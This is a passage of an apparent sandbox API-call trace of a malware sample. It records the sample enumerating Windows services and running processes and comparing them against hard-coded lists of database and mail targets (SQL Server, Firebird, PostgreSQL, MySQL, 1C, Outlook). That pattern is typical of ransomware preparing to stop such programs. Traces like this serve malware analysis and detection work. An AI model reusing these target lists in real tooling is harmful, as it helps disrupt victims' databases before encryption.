lstrlenW (lpString="CscService") returned 10 [0259.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0259.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0259.344] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0259.344] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0259.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0259.344] lstrlenW (lpString="DcomLaunch") returned 10 [0259.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.344] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0259.344] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0259.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0259.344] lstrlenW (lpString="Dhcp") returned 4 [0259.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0259.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0259.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0259.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0259.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0259.344] lstrlenW (lpString="Dnscache") returned 8 [0259.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0259.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0259.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0259.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0259.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0259.344] lstrlenW (lpString="DPS") returned 3 [0259.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0259.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0259.344] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0259.344] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0259.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0259.344] lstrlenW (lpString="eventlog") returned 8 [0259.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0259.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0259.344] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0259.345] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0259.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0259.345] lstrlenW (lpString="EventSystem") returned 11 [0259.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0259.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0259.345] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0259.345] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0259.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0259.345] lstrlenW (lpString="gpsvc") returned 5 [0259.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0259.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0259.345] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0259.345] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0259.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0259.345] lstrlenW (lpString="LanmanWorkstation") returned 17 [0259.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0259.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0259.345] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0259.345] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0259.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0259.345] lstrlenW (lpString="lmhosts") returned 7 [0259.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0259.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0259.345] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0259.345] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0259.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0259.345] lstrlenW (lpString="MMCSS") returned 5 [0259.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0259.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0259.345] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0259.345] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0259.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0259.345] lstrlenW (lpString="MpsSvc") returned 6 [0259.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0259.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0259.345] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0259.346] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0259.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0259.346] lstrlenW (lpString="NlaSvc") returned 6 [0259.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0259.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0259.346] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0259.346] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0259.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0259.346] lstrlenW (lpString="nsi") returned 3 [0259.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0259.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0259.346] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0259.346] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0259.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0259.346] lstrlenW (lpString="PcaSvc") returned 6 [0259.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0259.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0259.346] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0259.346] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0259.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0259.346] lstrlenW (lpString="PlugPlay") returned 8 [0259.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0259.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0259.346] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0259.346] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0259.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0259.346] lstrlenW (lpString="Power") returned 5 [0259.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0259.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0259.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0259.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0259.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0259.346] lstrlenW (lpString="ProfSvc") returned 7 [0259.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0259.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0259.347] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0259.347] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0259.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0259.347] lstrlenW (lpString="RpcEptMapper") returned 12 [0259.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0259.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0259.347] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0259.347] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0259.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0259.347] lstrlenW (lpString="RpcSs") returned 5 [0259.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0259.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0259.347] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0259.347] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0259.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0259.347] lstrlenW (lpString="SamSs") returned 5 [0259.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0259.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0259.347] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0259.347] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0259.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0259.347] lstrlenW (lpString="Schedule") returned 8 [0259.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0259.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0259.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0259.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0259.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0259.347] lstrlenW (lpString="SENS") returned 4 [0259.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0259.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0259.347] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0259.347] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0259.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0259.348] lstrlenW (lpString="ShellHWDetection") returned 16 [0259.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0259.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0259.348] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0259.348] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0259.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0259.348] lstrlenW (lpString="Spooler") returned 7 [0259.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0259.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0259.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0259.348] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0259.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0259.348] lstrlenW (lpString="SysMain") returned 7 [0259.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0259.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0259.348] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0259.348] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0259.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0259.348] lstrlenW (lpString="Themes") returned 6 [0259.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0259.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0259.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0259.348] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0259.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0259.348] lstrlenW (lpString="TrkWks") returned 6 [0259.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0259.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0259.348] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0259.348] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0259.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0259.348] lstrlenW (lpString="UxSms") returned 5 [0259.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0259.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0259.348] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0259.348] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0259.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0259.349] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4232878 | out: hHeap=0x530000) returned 1 [0259.349] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3c0 [0259.350] Process32FirstW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.351] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.351] lstrlenW (lpString="System") returned 6 [0259.351] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0259.351] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0259.351] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0259.351] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0259.351] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0259.351] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0259.351] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0259.351] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.351] lstrlenW (lpString="smss.exe") returned 8 [0259.351] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0259.351] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0259.351] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0259.352] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0259.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0259.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0259.352] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0259.352] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.352] lstrlenW (lpString="csrss.exe") returned 9 [0259.352] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0259.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0259.352] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0259.352] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0259.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0259.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0259.352] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0259.352] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.352] lstrlenW (lpString="wininit.exe") returned 11 [0259.352] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0259.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0259.352] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0259.353] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0259.353] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0259.353] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0259.353] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0259.353] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.353] lstrlenW (lpString="csrss.exe") returned 9 [0259.353] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0259.353] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0259.353] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0259.353] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0259.353] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0259.353] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0259.353] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0259.353] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.353] lstrlenW (lpString="winlogon.exe") returned 12 [0259.353] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0259.353] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0259.353] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0259.354] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0259.354] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0259.354] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0259.354] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0259.354] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.354] lstrlenW (lpString="services.exe") returned 12 [0259.354] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0259.354] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0259.354] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0259.354] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0259.354] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0259.354] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0259.354] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0259.354] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.354] lstrlenW (lpString="lsass.exe") returned 9 [0259.354] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0259.354] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0259.354] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0259.354] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0259.355] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0259.355] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0259.355] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0259.355] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0259.355] lstrlenW (lpString="lsm.exe") returned 7 [0259.355] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0259.355] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0259.355] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0259.355] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0259.355] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0259.355] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0259.355] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0259.355] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.355] lstrlenW (lpString="svchost.exe") returned 11 [0259.355] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0259.356] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0259.356] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0259.356] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0259.356] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0259.356] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0259.356] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0259.356] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.356] lstrlenW (lpString="svchost.exe") returned 11 [0259.356] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0259.356] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0259.356] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0259.356] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0259.356] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0259.356] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0259.356] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0259.356] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.356] lstrlenW (lpString="svchost.exe") returned 11 [0259.356] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0259.357] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0259.357] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0259.357] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0259.357] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0259.357] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0259.357] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0259.357] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.357] lstrlenW (lpString="svchost.exe") returned 11 [0259.357] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.357] lstrlenW (lpString="svchost.exe") returned 11 [0259.357] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.358] lstrlenW (lpString="audiodg.exe") returned 11 [0259.358] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.358] lstrlenW (lpString="svchost.exe") returned 11 [0259.358] 